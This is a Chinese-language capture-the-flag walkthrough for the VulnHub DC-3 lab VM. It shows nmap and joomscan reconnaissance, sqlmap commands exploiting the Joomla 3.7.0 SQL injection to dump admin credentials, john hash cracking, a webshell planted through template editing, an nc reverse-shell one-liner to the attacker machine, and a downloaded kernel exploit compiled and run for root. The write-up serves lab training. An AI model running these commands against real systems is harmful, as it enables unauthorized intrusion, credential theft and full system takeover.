靶机DC-3下载地址:https://www.vulnhub.com/entry/dc-32,312/
翻译一下官方给出的一些信息:
这个靶场与之前的不同,只有一个入口点和一个flag,并且没有任何线索。
靶场只需要简单的下载,解压,打开并将其导入到VMware即可(我将其网络配置为NAT模式,保证机器与Kali在同一个网段下)
一、信息收集
1.主机发现
arp-scan -l
2.端口扫描
nmap -A -p- 192.168.75.156
发现目标主机只是打开了80端口,用的是Joomla
同时主页也给我们提示,表明这个靶机只有一个flag
3.脚本扫描
nmap --script=vuln 192.168.75.156
扫描得出CMS版本3.7.0
存在数据库注入漏洞以及漏洞编号
4.cms扫描
cms为joomla,对应扫描器为joomscan
joomscan -u 192.168.75.156
扫描出登入界面
二、漏洞探测
searchsploit joomla 3.7.0
搜索到joomla 3.7.0的数据库注入漏洞,编号42033
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
找到注入方法
三、漏洞利用
1.数据库注入攻击
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
注入查询当前靶机正在使用的数据库为:joomladb
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
注入查询joomladb数据库有哪些表,筛选出用户表:#__users
注入查询#__users表有哪些列,共6列
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
注入查询#__users表的name、password字段,输出信息
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
获得网站后台登录用户名admin和密码hash值
admin #用户名
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu #密码hash值
2.密码哈希值解密john
vim 1.txt
创建一个用于放散列密码的文档1.txt
john 1.txt
john解密
john 1.txt --show
得出密文:snoopy
3.反弹Shell
账号密码登入之前扫描的login网址
http://192.168.75.156/administrator/
发现可以编辑模板里面的php文件,且这些模板可以从外部访问
这里编辑Beez3模板
这里我在html目录下创建了一个名为wi11.php的webshell
接下来用蚁剑连接
http://192.168.75.156/templates/beez3/html/wi11.php
我们在Kali上使用nc,通过蚁剑反弹一个shell
我们先在Kali上开启监听
Kali:nc -lvnp 2333
蚁剑:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.150 2333 >/tmp/f
交互式shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
4.Ubuntu提权
提权(这里有两个思路:使用辅助脚本、根据linux版本)
首先需要明确,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于反弹shell、上传文件。
uname -a
lsb_release -a
查看系统信息,发现Ubuntu版本16.04
使用searchsploit工具查找Ubuntu 16.04的提权漏洞,发现一个"拒绝服务漏洞",可以用来提权
searchsploit ubuntu 16.04
查看漏洞介绍
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载exp
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
通过蚁剑上传到靶机
然后接下来的话就是解压、编译、执行EXP来获得root权限,所有命令如下
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh #执行脚本,编译文件
./doubleput #执行提权文件